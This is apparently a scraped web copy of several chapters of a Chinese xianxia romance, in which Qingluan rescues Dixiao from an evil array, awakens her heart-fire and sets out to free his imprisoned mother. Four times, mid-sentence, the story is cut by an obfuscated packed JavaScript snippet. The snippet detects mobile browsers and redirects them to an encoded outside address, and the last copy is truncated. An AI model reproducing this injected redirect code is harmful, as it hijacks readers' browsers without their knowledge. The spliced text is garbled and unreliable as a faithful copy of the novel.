正欲告诉青鸾此处除了屏蔽之阵外还有个大妖邪阵,他正在寻找破阵之法,让她不要贸然闯入,却是没来得及嘱咐便见到青鸾已经满脸焦急地出现在了自己眼前。 帝骁目光微动,罕见地露出了复杂的神情。 他压制住正在疯狂煽动自己情绪的邪阵迷雾,强忍着不适,语声平静地问青鸾:“谁让你进来的?” “我知道此处危险,不然你不会被困在这里。”青鸾听出了帝骁语气里的责备,连忙上前一步,盯着帝骁打量了许久,见他似乎并未受伤,这才松了口气:“还好还好,你没有受伤。” 见帝骁一脸狐疑地望着她,她解释道:“刚才我听你的声音,还以为你受了重伤,所以才会被困在这里出不来。” 语罢青鸾又朝前走了两步,离他更近了些,俯身注视着他:“不过你的脸色怎么这么苍白,不会是受了内伤吧?” “怎么连嘴唇都是白的?”观察一番后青鸾又慌了,才放下的心瞬间又提了起来:“你可别硬撑着不告诉我,到底伤在哪里了?有什么办法可以帮你?” 帝骁原本是在打坐调息,听见青鸾这样问,彻底坐不住了。 他起身一把攥住她的手腕:“知不知道这里有多危险,问也不问就敢往邪阵里乱闯,不要命了?” 青鸾被他吓得一愣。 却见帝骁忍了又忍,最终还是没有忍住,当着她的面吐出一口血来。 这是青鸾第一次见到帝骁受伤的模样。 从前他也经历过无数险境,但每次从外面归来时他都将自己所受的伤掩饰得很好,根本不会让青鸾发现自己受伤。 所以在青鸾的印象中,帝骁一直都是强大的,强大到这天下没有任何人能够伤到他,而庇护于他羽翼下的她自然也是绝对安全的,自化形以来她一直抱着这个想法。 可是此刻帝骁竟在她面前脸色苍白地呕出一口血来。 这让她瞬间慌了心神,也顿时意识到,原来强大如帝骁也是会受伤的。 “你受伤了……”她强压下心中的慌乱,反握住帝骁的手,牵着他要往外走:“我带你出去,等我们回去了就没事了……” 却没想到身后的帝骁踉跄了一下,跪倒在地又呕出一口鲜血。 “你怎么了?你不要吓我。”青鸾终于忍不住了,哭着转身扶住他:“你是不是受了很重的伤,连路都走不了了?你、你……你不要死……” 帝骁原本就因为青鸾的突然闯入而乱了心神,方才起身暂停了调息,原本以为能够撑个一时片刻,却没想到这邪阵如此厉害,无处不在的迷雾居然在这瞬间侵入了他的识海。 他的脑海中瞬间响起无数道声音。 幼时在旁人的冷眼议论中咬牙生活的屈辱记忆,在被父亲抛弃后独自居住在青要山中的种种孤寂,还有每次与母亲见面时那个被她牢牢抱在怀中的弟弟…… 每一个人的声音都是如此刺耳。 素娆抱在怀里的那个婴孩分明因为封印而陷入了长久的沉睡,可是此刻帝骁却仿佛听见了他响亮的啼哭。 他的哭声是那样的有力,他可以肆无忌惮地表达自己的情绪,而母亲会垂下头温柔地安抚他。 他听见了年幼时母亲哄他睡觉的歌声,那样温柔的歌声此后他再也没有听见过。 现在他的脑海中再次响起了久违的歌声,可却是母亲吟唱给她怀中的弟弟听的。 “为什么被抛弃的人是我?”他质问着在他面前轻声吟唱哄怀中婴儿睡觉的母亲:“为什么每一个人都要离开我?为什么都要来抢属于我的东西?” 他这般模样显然已是走火入魔的前兆,青鸾虽然不懂修行,却也知晓帝骁这时的处境十分危险。 她从来没有见过帝骁如此失态的模样。 却没有被吓得后退,而是一把抱住他。 她像哄孩子似的哄着帝骁,轻轻地拍着他的后背:“没事的,我不会离开你,也不会抛下你,我一定会带你出去,出去了就没事了。” 帝骁在青鸾的安抚下逐渐平静下来,却仍旧无法在邪阵迷雾的包围中摆脱心魔侵扰。 “没事,我带你出去,我一定会带你出去。”青鸾还在不停地安抚着他,却不知道是在安慰他还是在安慰此刻无比慌乱的自己。 她原本想要扶着帝骁一起出去,却见他好似已经没有了力气,于是咬咬牙将帝骁背在身上,一步一移地朝邪阵外走去。 不知为何她并不会受到邪阵迷雾的侵扰,不像帝骁那般被困于心魔,她清醒而又坚定地带着他穿过重重的迷雾向外走。 帝骁伏在青鸾背上,以护心诀勉力保持最后一丝清明,在无数纷乱嘈杂的声音中寻觅着青鸾的声音。 听着她一遍又一遍地告诉他:“没事的,我会带你走出去,我一定带你出去,我不会抛下你……” 他实在太疲倦了,几百年来不曾像现在这样疲惫过,可他知道他还不能睡去,倘若在这时睡去那就是将自己的神识交给心魔。 此刻在无尽的疲惫与心魔的侵扰下,唯有青鸾的声音能够让他保持清醒。 青鸾时不时地回头看帝骁一眼,脚下的步伐已然踉跄,却无论如何也不肯停下:“你千万不要睡,我知道你很难受,再坚持一下,我会带你出去的。” 她反反复复地说着这几句话,声音早已变得沙哑,额间的薄薄细汗也已经变为大滴大滴的汗水顺着脸颊流下。 伏在她背上的帝骁却是笑了,他嘴角扬起的弧度一如既往微不可见,眼中的暖意却是无比清晰。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15220536|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 艰难地抬起手,轻轻拭去青鸾脸上的汗,然后靠近她的耳边道:“鸾儿,辛苦你了……” “布下此阵的大妖虽然以身为祭,但他的神魂还没有湮灭,你不是他的对手。”他说得很慢,似乎每说一个字都会耗费他极大的力气,最后他力竭将头垂下,轻飘飘地吐出最后几个字:“放我下来吧。” 帝骁说的这最后一句话语声很轻,像是吹过芦苇荡的最后一抹清风,飘飘摇摇,无依无靠。 青鸾顿住步伐,听出他言语间的自弃之意,一颗心仿佛沉入了无底深渊。 阵中雾气缭绕,周遭无比安静,一片寂静里她只听得见自己的呼吸声和帝骁的心跳声。 “要走一起走,要留一起留。”深深吸了口气,咬牙说出这句话,她抬起步子继续向前走:“我说过不会扔下你,无论要面对什么我都不会留你一个人在这里。” 帝骁这才知道原来青鸾还有如此固执的一面,生死攸关之际,他全然忘却了当初将她留在青要山是出于什么目的。 此刻他只希望她能活下去。 偏偏她不肯独自离开,无论如何也要和他一起。 没过多久邪阵中刮起了大风,果如帝骁所言,残存于阵中的大妖魂魄感应到了帝骁的离去,于是在阵中掀起了一阵风暴。 这风暴蕴含了大妖的灵魂之力,尽管青鸾拼命凝聚灵力抵挡,却还是被锋利的风刃划得浑身是血。 凄厉的风声似是恶鬼哭号,像是欲将阵中的两人千刀万剐,青鸾干脆放弃了抵抗,将全部灵力都汇集在帝骁身侧,为他聚起一个保护屏障,而她自己则迎着风暴继续向前。 鲜血浸湿了她的衣衫,她的脸上也被划出了道道伤痕,背着帝骁的双手止不住地颤抖。 但她仍不肯停下步伐,固执地咬着牙向前走。 方才几步就跨进来的邪阵此刻变得仿佛没有尽头,眼前的这场风暴也似乎永不停歇,但青鸾的灵力是有限的,即将行至邪阵出口时,她终于力竭倒下。 摔倒在地的一瞬间她下意识攥住帝骁的手,血与泪早已模糊了她的双眼,唯有真真切切地触碰到他才能确保他仍在她的身边。 青鸾灵力耗尽,凝聚在帝骁周遭的屏障也随之消散,她艰难地爬到帝骁身侧,想要用自己的身体为他遮挡风暴。 铺天盖地的大雾被风暴卷起几丈高,灰色的雾气遮蔽了两人的双眼,令他们看不清彼此的表情,青鸾的啜泣声与凄厉的风声交杂在一起,听得帝骁一阵阵心痛。 就在他打算用禁术恢复自己的灵力,拼着走火入魔的风险也要将青鸾送出邪阵时,心火在青鸾体内觉醒了。 这是她第一次以青鸾这个身份觉醒心火。 原来竟是在那样早的时候。 早在前往空桑山之前,早在帝宣下落不明之前,她竟然就已经拥有了这股无比强大的力量。 火焰瞬间吞噬了迷雾,彼时她还不懂得如何驾驭这股力量,于是放任它从自己掌心盘旋着跃起,如一尾巨蛇将此处邪阵碾为粉碎。 147. 芙蓉浦 过于强大的力量同样能够击溃人的心智,骤然觉醒心火,青鸾还不知该如何运用,眼看着那万丈高的火焰似乎要将天地万物都一并吞噬,她其实有点心慌。 心火本身并不耗费灵力,但若无法掌控它,便会极为消耗心神,青鸾能感觉到自己的心脏跳动得极快,它无比艰难地强撑着,好像随时都会破碎。 “鸾儿,屏息凝神。” 慌乱中她听到帝骁的声音,邪阵破碎后帝骁摆脱了心魔的侵扰,也就恢复了力量,青鸾依他所言屏息凝神,片刻后顿觉心中清明,瞬间放松下来,晕倒在了帝骁怀里。 燃烧在青鸾身侧的心火也随之收敛,逐渐在风中消散。 帝骁施术稳住青鸾心神,同时克制住正在她体内暴动的那股力量,抱着她瞬移回到青要宫,将她带到自己平时闭关的密室中,设下结界不许任何人靠近。 青鸾受伤一事除了他没有第三人知晓,而他之所以这样做,是为了隐瞒她觉醒心火一事。 此事非同小可。 九重天宫对待觉醒心火之人的态度微妙,四海八荒关于心火的传言也不少,这样一股强大到近乎无敌的力量,天下眼热之人不少。 偏偏这样强大的力量无论怎么苦修也无法习来,能否觉醒心火似乎全看天命是否眷顾。 青鸾觉醒了这样一股强大但旁人不可得的力量,于她而言并非是件好事。 因此在密室闭关期间,帝骁除却替她疗伤,还在她体内种下了一个封印之阵,封住了她刚刚觉醒尚不稳固的心火之力,并且抹去了她与心火相关的记忆。 做完这一切已是半个月后,帝骁从密室中出来,将青鸾抱回她的寝殿,守在榻前凝望着她的眉眼。 她眉间似有忧虑,虽然陷入沉睡但心神仍不安宁,有时会不自觉地伸手想要握住什么。 每当这时帝骁便会牵住她的手,轻轻摩梭着让她安心睡去。 他在她的榻前守了三日三夜,三天后青鸾终于从沉睡中醒来,醒来时第一眼看见的便是帝骁的脸。 于是她安心地松了口气:“我没有死?我们从那个邪阵中出来了?” 帝骁眼中是罕见的温柔,他抬手抚上她的脸,语声也格外轻柔:“没事了,我们回家了。” “天君及时赶到,将我们从阵中救了出来。”他对青鸾撒了谎:“鸾儿,别多想了,好好休息,再睡一会儿。” “那你不要走,你陪着我。”青鸾没有多问,紧紧攥住他的衣袖,再次沉沉睡去。 帝骁识海中的这一段回忆补全了青鸾缺失的记忆,她这才知晓自己第一次觉醒心火原来是在那大妖布下的邪阵之中。 与记忆一同涌入青鸾脑海的,还有帝骁彼时的所思所想。 除却担心她身怀心火被人觊觎,他还有别的顾虑。 他并不愿意青鸾变得强大,毕竟她的身份非同一般,他将她掠至青要山的目的也不一般。 她若是变得强大,万一知晓自己只是他用来复活阿媱的一个容器,定会脱离他的掌控。 所以他不允许她修炼,也不能让她觉醒这样强大的力量。 这自然是一个十分合理的理由。 但仅是如此吗? 帝骁在心里问自己。 在他的内心深处,似乎还有一个隐秘不为人知的理由,这个理由连他自己也想不清楚。 他不愿深思,只是任由莫名的情绪如潮水一般涌过,然后将它封印在了心底。 此刻在帝骁识海中感受到他彼时心绪的青鸾也不愿继续往下深思,她将自己的精神游丝从帝骁的这段记忆中抽离,紧接着又一段携着他强烈情绪的记忆涌入青鸾脑海。 那是他刚刚得到神君封号的时候。 青鸾记得那段时间九重天上几乎所有人都在质疑这位年轻的神君,彼时的武罗神君尚没有如今这般声望,他们仍旧当他是曾经那个被父母抛弃的年幼孩童,泼在他母亲身上的脏水一样不落地泼在了他的身上。 亲自授予帝骁神君封号的天君却对此不发一言,他要让帝骁独自承担这些非议。 这是他一步步往上爬的必经之路,没什么好稀奇,当初的天君也是这样过来的。 因此那时的九重天上,唯一替帝骁说话的人竟然只有青鸾。 帝骁也不曾想到,一向胆小怯懦的她竟然敢在宴席上公然怒喝那些三三两两聚在一起议论帝骁的神君们。 她挡在帝骁身前,历数他的功绩,他执行过的每一件任务她都如数家珍,关于他修行路上的不易,在九重天上承担的一切,她似乎比他更清楚。 对于旁人的非议,他一向都不理会,好像他并不会被那些流言蜚语所伤,可青鸾并不这样觉得,她将他护在身后,即便是面对那些比她强大太多的神君也不曾退缩,将他们中伤他的每一句质疑都一一奉回。 “你们这些神君,个个尸位素餐,吃得肥头大耳,任务有人替你们去执行,危险有人帮你们去化解,你们只需要在神位上混吃等死就可以了,居然还大言不惭质疑别人,照照镜子看看自己是什么样子吧!” 那些高高在上的神君自然要维系他们的体面,嘴上说着不与她这个上不得台面的小妖做口舌之争,转过身却个个脸色阴郁,将议论的话题从帝骁转移到了青鸾身上。 “一个被当作宠物一样豢养在山里的小妖怪,居然敢对仙君指指点点,果然上不了台面的人养的也是上不得台面的低贱妖怪……” 那兀自嘀咕的人话还没有说完,归墟剑就抵在了他的脖间。 “你干什么?”那人惊出一身冷汗,转过身看到帝骁一双阴沉的眼。 帝骁的气质向来都是冷冽的,然而此刻的他周身除了凛冽还散发出难以隐藏的杀气。 归墟往前递了几分,将那人的神魂都锁住,令他动弹不得。 其实即便帝骁不使出归墟神器,他此刻的气场也足以震慑对方。 青鸾说得没错,经历过无数次险境从死人堆里杀出来的帝骁,他的气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15225063|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场岂是这些世袭而来尸位素餐的神君可比。 “再敢让我听到类似的话,你们就都可以去死了。”帝骁这句威胁说得直白,全然不顾在场之人的脸面,他手中的归墟发出一声剑吟,剑身上散发出的肃杀之气表明他这句话并非说说而已。 他们若是再敢妄言,他真的会杀了他们。 那人瞬间服软,哆哆嗦嗦地道:“是我出言不逊,我知错了,下次不会了……” 这是帝骁第一次也是唯一一次在九重天上出手,从前无论旁人如何诋毁非议他也不曾理会,而在这次之后,那些议论声就此终结。 帝骁收了归墟,转身牵着青鸾的手,带她回到青要山中。 那一次他没有带着她瞬移回到青要宫,而是牵着她慢慢地从山脚往山上走,就像从前带她学步时那样,一步一步走得缓慢。 行至半山腰时,他突然停下步伐,回身看着青鸾。 他轻轻唤她的名字,然后对她说:“青要山不是锁住你的牢笼,这里是你的家。” 青鸾那时不明白他为何会这样说,她并没有把那些人的话放在心上,她知道帝骁一直都待她很好。 于是她回握住帝骁的手,嗯了一声扬起一个灿烂的笑,带着他往山上走:“我知道青要山是我的家,我们快回家吧。” 记忆在此刻骤然结束,青鸾强行收回所有的精神游丝,从帝骁的识海中退了出来。 这两段回忆密密麻麻唤醒了青鸾与帝骁相处的点点滴滴,曾经的回忆都不是作假,帝骁识海中的情绪也皆为真实。 那么到底什么是真,什么是假? 她此刻已然分辨不清。 最后望了一眼帝骁苍白的脸,她起身离开寝殿。 现在反倒是她心神不宁不宜控魂,思绪混乱之际人的精神也是脆弱的,此刻并不是施展控魂术的最佳时机。 保险起见,且再等等吧。 守在殿外的尺素见青鸾出来,上前以目光询问,却见青鸾摇了摇头。 尺素的神情一下变得紧张,她禁不住开口低声询问:“可是神君有什么不妥?” 青鸾又摇了摇头:“下次吧,今日时机不对,我还有事,青要宫的情况你传信给我就好。” 撂下这句话她便飞离了青要山,隐去气息往帝台府邸而去。 此次从大荒归来她还有一件要事,那就是完成帝宣的遗愿,将他从大荒寻得的彼岸花交予焕鸢夫人。 产自大荒极为稀有甚难寻见的彼岸花乃焕鸢夫人生平最爱,青鸾在帝宣的记忆中看见过生长在帝台府邸后花园中那一株灼灼似火的彼岸花,也看见过焕鸢夫人平日里是如何爱惜养护它。 帝宣记忆里的焕鸢夫人无疑是温柔的,帝宣从小到大都被她细心地照顾着,几百年相处光阴里她竟无一次呵斥过他。 想来她当真是将帝宣视作了自己的亲生孩子,把所有的耐心与温柔都给了他。 但是在青鸾的记忆里,这是个倨傲而又严厉的女人。 148. 芙蓉浦 焕鸢夫人似乎很不喜欢帝宣同青鸾厮混在一起,偶尔在宴席上见到青鸾,总会铁青着脸打量她。 刚开始青鸾还以为焕鸢夫人是不希望帝宣同她待在一起耽误了修行,后来才逐渐明白原来焕鸢夫人只是单纯不喜欢她。 她不过是养在青要山中的一只小妖,无论是身份还是地位亦或者修为都同帝宣有着云泥之别。即便抛开这些不论,只因为她是被帝骁养大,光这一点便足以让她在焕鸢夫人处判了死刑。 帝宣与帝骁二人是同父异母的兄弟不假,但随着时间的推移,这两人的关系肉眼可见变得紧张。 尤其在他们陆续获得神君封号后,几乎整个九重天宫都将他二人视为了竞争对手,在这样紧张的氛围下,他们的关系只能越来越疏离。 青鸾同帝宣要好又如何,她终究是在青要山中长大,同帝骁朝夕相处的日子比帝宣多得多,所以焕鸢夫人不相信倘若有朝一日两兄弟当真反目为敌时青鸾会真心站在帝宣这一边。 也正因如此,帝宣与青鸾走得越近,他的处境便越是危险。 青鸾也是在帝宣突然杳无音讯后才想通这一层。 现在想想,焕鸢夫人当初对她的百般防备其实也是为人母的良苦用心。 如今帝宣已经不在,曾经的万般纷扰也随之化为云烟,多思亦是无益。 重回斯人故地,唯余一声叹息。 青鸾隐去身形随着帝宣记忆里的路线穿梭于帝台府邸,最后在帝宣过去修炼的水榭中寻见了她。 焕鸢夫人与青鸾印象中的模样几乎没什么分别,岁月没有在她的脸上留下痕迹,她风采如旧,但眼中的光芒已不复从前。 她长久地坐在水榭中,垂首静思,不知在想些什么。 青鸾悄然行至她的身后,抬手在水榭四周布下禁制。 焕鸢夫人倒很警觉,在青鸾出现的一瞬间便站起来,回身望向她。 “是你?”见到来人竟是青鸾,她的脸上浮现出一抹讶异:“你怎么会来这里?” 青鸾倒也没有多言,直接将彼岸花取出交给焕鸢夫人:“我才从大荒归来,帝宣托我将他在大荒寻见的这株彼岸花交给你。” 焕鸢夫人没有立即接过花,而是怔怔地注视着它,过了好一会儿才反应过来青鸾方才所言,捂住嘴后退两步:“这是帝宣托你交给我的?” 她的胸口剧烈地起伏着,似是有些喘不过气。 “你见到帝宣了……”深深地吸了一口气,她含着泪攥住青鸾的胳膊:“他在哪里?可还安好?” 不待青鸾回答,她再一次将目光落到血红的彼岸花上,喃喃自语道:“他若还安好,怎会不回家亲自把花送给我,而是托你将它带回。” 眼泪像断了线的珠子从她的眼眶落下,打湿了她的衣襟,坠落在鲜艳的花瓣上。 她颤抖着双手接过青鸾手中的花:“你告诉我,他是不是……是不是已经不在了?” 青鸾沉默片刻后,将大荒发生的一切如实告诉了焕鸢夫人,包括帝宣是如何以身为祭作为阵眼催动庞大的生阵,将魔族始祖之息镇压在了大荒东部。 她知道,帝宣此举一定会让焕鸢夫人引以为傲,与其对她刻意隐瞒,不若将真相告知。 焕鸢夫人没有再说什么,而是将那株彼岸花拥进怀里,抱着它倚靠在墙边坐下。 不知道她是否想起了在帝宣幼时,她曾经牵着他的手带他来到水榭,告诉他以后这就是他的家,这里就是他修行练功的地方。 她引他去花园看那朵红色的彼岸花,略有些骄傲地告诉他,那是娘亲最喜爱的花,是帝台神特意去大荒为她寻来的。 年幼的孩童将这句话记在了心里,他学着父亲的样子为母亲从大荒寻来了她最喜爱的彼岸花,可他自己却永远留在了那个地方。 他再也不会回来了。 青鸾鼻尖一酸,想要在眼泪涌出来前转身离去,却看见焕鸢夫人颤巍巍地扶着墙起身唤她。 青鸾连忙上前扶住她。 焕鸢夫人抬头望着青鸾,这是她第一次不带任何情绪地打量她,片刻后她突然笑了。她的眼睛早已在经年的哀伤中浸泡得红肿,此刻嘴角笑意也是哀凉,却又有了几分释然。 她握住青鸾的手:“好孩子,你竟然觉醒了心火?” 青鸾讶异间,又听她继续道:“我的母族乃上古仙族,与心火有些渊源,因此我自小便修习了一个秘术,可以探知心火之灵。” “你方才来寻我,我最先感应到的其实不是你的存在,而是你体内心火的存在。” 青鸾听罢心中了然,若非有事,焕鸢夫人不会突然提到心火,于是直接问道:“夫人有何嘱咐?” “宣儿这孩子,到最后还想着完成我的心愿,为我从大荒寻来彼岸花。”提及帝宣,焕鸢夫人的神情和语气都柔和了许多:“我也想为他做一些事,但这件事唯有拥有心火的你能够做到。” 焕鸢夫人想要为帝宣做什么事?这件事还只有拥有心火才能达成。青鸾心中疑惑,但没有多言,只是沉默地倾听着。 但听焕鸢夫人继续道:“帝骁的生母素娆已被囚禁在龙渊之狱中数百年,帝凌神与东海神君相互勾结炼化神兵一事牵连到了素娆的身上,现今天君欲将素娆一并处决,且将此事交给了帝骁去办。” 青鸾听到这里在心里冷笑一声,赶尽杀绝,斩草除根,顺便将这些活儿都交给帝骁,逼他断情绝爱,这的确是天君的一贯作风。 “当初素娆之所以被打入龙渊之狱,此间内情想必你也在旁人的议论中听说了一二。便是因为她曾打算与一个大妖私奔,甚至生下了那大妖的孩子,这才为天君所不容。” “若非帝骁这些年来苦苦替母求情,依天君的性子,只怕早就处决了她。” “可是如今……却是无法了。”焕鸢夫人叹息一声:“弑父杀母,这样的事情天君要求帝骁亲自去做。有时便连我也忍不住去想,若我是那孩子的母亲,该有多么心疼。” 青鸾知道焕鸢夫人口中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15231022|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的那孩子指的是谁。 这倒令她心生感慨,强大如帝骁,原来在焕鸢夫人眼中也只是一个会被母亲心疼的孩子。 “退一万步想,与素娆一起被关押在龙渊之狱几百年的那个婴儿又何其无辜,他从出生起便被封印了神识,关押在牢狱,甚至没来得及看这个世界一眼,便要随母亲一起陨落。” “孩子,我想要请你帮个忙,将他们从龙渊之狱中救出来。” 听见焕鸢夫人如此说,青鸾更为疑惑:“这便是您方才说的唯有心火才能达成之事?可这与帝宣有什么干系?” 焕鸢夫人是因为想要为帝宣做一点事,这才央求青鸾去救素娆母子,但是素娆乃帝骁生母,青鸾实在想不通他们之间有什么联系。 “龙渊之狱被设下了禁制,此禁制唯有天君可解,便连帝骁每次去见素娆也只能携天君所赐令牌才可进入。”焕鸢夫人停顿了一下:“但心火可破万法,若是世间还有谁能够越过天君进入龙渊之狱,那便只有拥有心火之人了。” “况且,若我所修秘术察觉无误,你体内的心火已然十分强大,并且你能对其掌控自如。” “潜入龙渊之狱救出素娆母子对你来说应当不难。” 青鸾听着焕鸢夫人的计划,蹙了蹙眉:“可是将她救出之后呢?天君一定很快便会发现此事,并向四海八荒发布通缉令,素娆母子怕是即便逃了出来也无藏身之处。” “天下之大,并非人人都唯天君之命是从。”焕鸢夫人语气坚定地道:“我早已与母族商议过此事,倘若素娆真能从狱中逃出,他们会派人前来接应。” 青鸾一怔:“您的母族?” 焕鸢夫人点了点头:“我的母族乃上古仙族,虽然如今家族已没有昔日辉煌,但收容素娆母子二人还是没有问题的。” 听得出来这件事的确已经在她心间盘桓许久,她也为此筹谋许久,只是迟迟没有遇到可以破除龙渊之狱禁制的人:“你要做的只是解除禁制,将素娆母子带出,之后的事我们自会解决。” 说到这里焕鸢夫人停顿了一下,然后思索道:“你拥有心火一事还有几人知晓?天君届时定能猜出破除禁制者乃拥有心火之人,但只要你将自己觉醒心火一事隐瞒好,他应当不会怀疑到你身上。” 青鸾在心中暗道,她觉醒心火一事有几人知晓不重要,重要的是帝骁早已知晓。 她其实早就暴露在危险之下了。 不过她没有同焕鸢夫人说这些,而是再一次问道:“此事与帝宣有何关系?” 焕鸢夫人似乎是犹豫了一下,然后长长地叹息一声道:“宣儿曾经对我讲过,他觉得自己有愧于帝骁。” 她抬头遥遥望向水榭外的虚空,似乎是在寻觅着记忆长河中帝宣的模样,回忆着当初与他进行这番谈话时他愧怍不安的语气。 “小时候因为帝凌的缘故,他曾经很讨厌帝骁。” “他一度认为是素娆和她的孩子抢走了他的父亲,帝凌才会抛弃他和他的母亲。” 149. 芙蓉浦 “所以在离开帝凌府邸那一日,他说了一些很伤害帝骁的话。” “可是直到素娆被打入龙渊之狱,他才明白原来过去他与生母所受的痛苦都与帝骁母子无关,并且素娆与帝骁也同他一样是这九重天上的可怜人。” “宣儿生性善良,他每每想起曾经对帝骁说过的话都会心有不安,他想要弥补,可渐渐他发现自己与帝骁之间已经无话可说。他们的距离越来越远,他们的关系也在众人侧目下变得愈来愈紧张。” “他不知道该做些什么才能弥补帝骁,才能平复内心多年愧疚。当时他唯一能做的只有避开帝骁锋芒,事事不与他争。” “当初我们之所以会谈到这些,是因为我曾经问他,分明他比帝骁更加优秀,为何回回都要避开帝骁的风头,使得天下人只知武罗神君而不知长辉神君。” 言至于此焕鸢夫人再次哽咽:“因为他觉得自己愧对帝骁,这便是宣儿的回答。” 救下帝骁的母亲,让他不要在百年之后痛苦懊悔,或许焕鸢夫人认为代帝宣去做这件事便算是在帮他弥补对帝骁的愧疚之意吧。 她希望帝宣即便陨落,魂魄也能心安。 她其实也是在为自己求一个心安。 “其实我方才想过,你自幼在青要山中长大,与帝骁关系甚密,即便我不告诉你帝宣这些年来的想法,你也一定会帮帝骁救出素娆。”焕鸢夫人哽咽道:“但……” “夫人不必多言。”青鸾打断她,抬首望向九重天上无垠黑暗中那一抹悬于半空若隐若现的微光,那是天宫的方向:“龙渊之狱在何处?我现在就去。” “现在?”焕鸢夫人猜到了青鸾大概率会同意她的请求,却没有猜到她竟然即刻就要动身。 “这种事情拖得越久越有走漏风声的危险,况且帝骁母亲随时都会被天君处决,现在就是最好的时机。”离开青要山在外面的世界闯荡了一番之后,青鸾已变得比从前果决:“还请夫人告知我帝骁母亲所在位置,并让族人即刻出发前往龙渊之狱准备接应。” 焕鸢夫人仿佛是第一天认识青鸾般仔细打量她,眼中浮现出欣赏之意,她抬手在空中描画出前往龙渊之狱的路线,并标注出素娆所在的位置,然后拂袖一挥,那些闪烁着光芒的信息随即在空中飘散,进入了青鸾识海。 想来这也是焕鸢夫人母族所传的一门秘术,直接将关键信息烙印在识海,这是最为稳妥的方法。 青鸾不禁对焕鸢夫人的母族产生了强烈的兴趣,他们似乎独立于四海八荒之外,不受天君管辖,族内流传有诸多秘术,其中最令人惊疑的当属那一门感应心火之法。 然而此刻并不是询问究竟的时候,青鸾不再多言,同焕鸢夫人道了声别,便转身循着识海中的路线朝龙渊之狱而去。 龙渊之狱位于九重天深处,已进入天君钦定非神君不得入的范围,若在以前光凭青鸾自己是无法突破重重禁制来到此处的。 可正如焕鸢夫人所言,心火可破世间万法,如今拥有心火之力的青鸾轻而易举便破除禁制来到了龙渊之狱前。 真龙骸骨静静地漂浮于寂灭虚空,它周遭所散发出的冰凉气息是亿万年光阴淌过的痕迹。 寒凉,孤寂,悄无声息。 龙渊之狱可谓九重天宫戒备最为森严之地,之所以戒备森严常人不得靠近,倒不是因为此处有重兵把守,也不是因为历任天君都在此处设有禁制。 而是因为这真龙遗骸本身便是一道极为强大的天然屏障,若非天君一脉,谁也不得接近。 也正因如此,此处是九重天宫护卫最为稀少之地,并且基本不会有天兵巡逻至此。 青鸾隐去身形,在指尖燃起心火,抬起手轻轻往入口处的禁制一点,龙渊之狱的大门便轻松向她敞开。 因有心火傍身,那些寄居于真龙遗骸中的远古生物不敢靠近青鸾,察觉到她的到来后竟纷纷躲了起来。 从破除禁制进入牢狱,再到循着路线找到素娆,青鸾这一路可谓畅通无阻。 顺利到见到素娆真容时青鸾甚至还有些恍惚。 被关押在悬空囚笼中的女子容颜姣好,一头长发却已变得花白,她怀中抱着的婴儿被封印了神识,处于无知无觉的沉睡当中,可她仍旧温柔地摇晃着他,为他哼唱着凡间的歌谣。 青鸾沉默地立于囚笼之外,注视着眼前这一幕,不知怎地突然想到帝骁,想起他的一瞬间心中莫名酸楚。 原来这便是帝骁的母亲,还有那个成为他心魔的弟弟。 素娆察觉到生人靠近,停止哼唱歌谣,将婴儿牢牢护在自己怀里,抬起头戒备地望向青鸾。 在与青鸾对视的一瞬间她心中的戒备之意稍减,虽然从前并没有见过这个姑娘,但她感觉到青鸾身上散发出的善意气息,这给了她些许心安。 并且她瞧得出来,青鸾并不是九重天宫的人。 只要不是九重天宫之人,便大概率是友非敌。 青鸾自然也感受到了素娆敌意的消减,与她对视片刻后便将目光移到了那以大妖内丹设下的结界上,然后道:“这结界不可强攻,你能否自行撤除?” 素娆正欲问她想要做什么,便听青鸾继续道:“结界撤除后我会击碎牢笼,带你和你的孩子离开这里。” “你是来救我的?”素娆有些不可置信,在如今这个关头,她想象不到会有什么人冒着巨大的风险来前来相救:“你是谁?为什么要救我们?” 青鸾抬首研究了一会儿那道精妙的结界,然后又将目光落回素娆母子身上,抿嘴沉思半晌道:“我曾受过武罗神君帝骁的恩惠,今日来救你们母子,是为了报帝骁昔年之恩。” “骁儿……”素娆垂首沉默了许久,不知在想些什么,再次抬起头时,她红着眼眶将结界撤除。 “姑娘,求你将我的孩子带走,将他安置在安全的地方。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 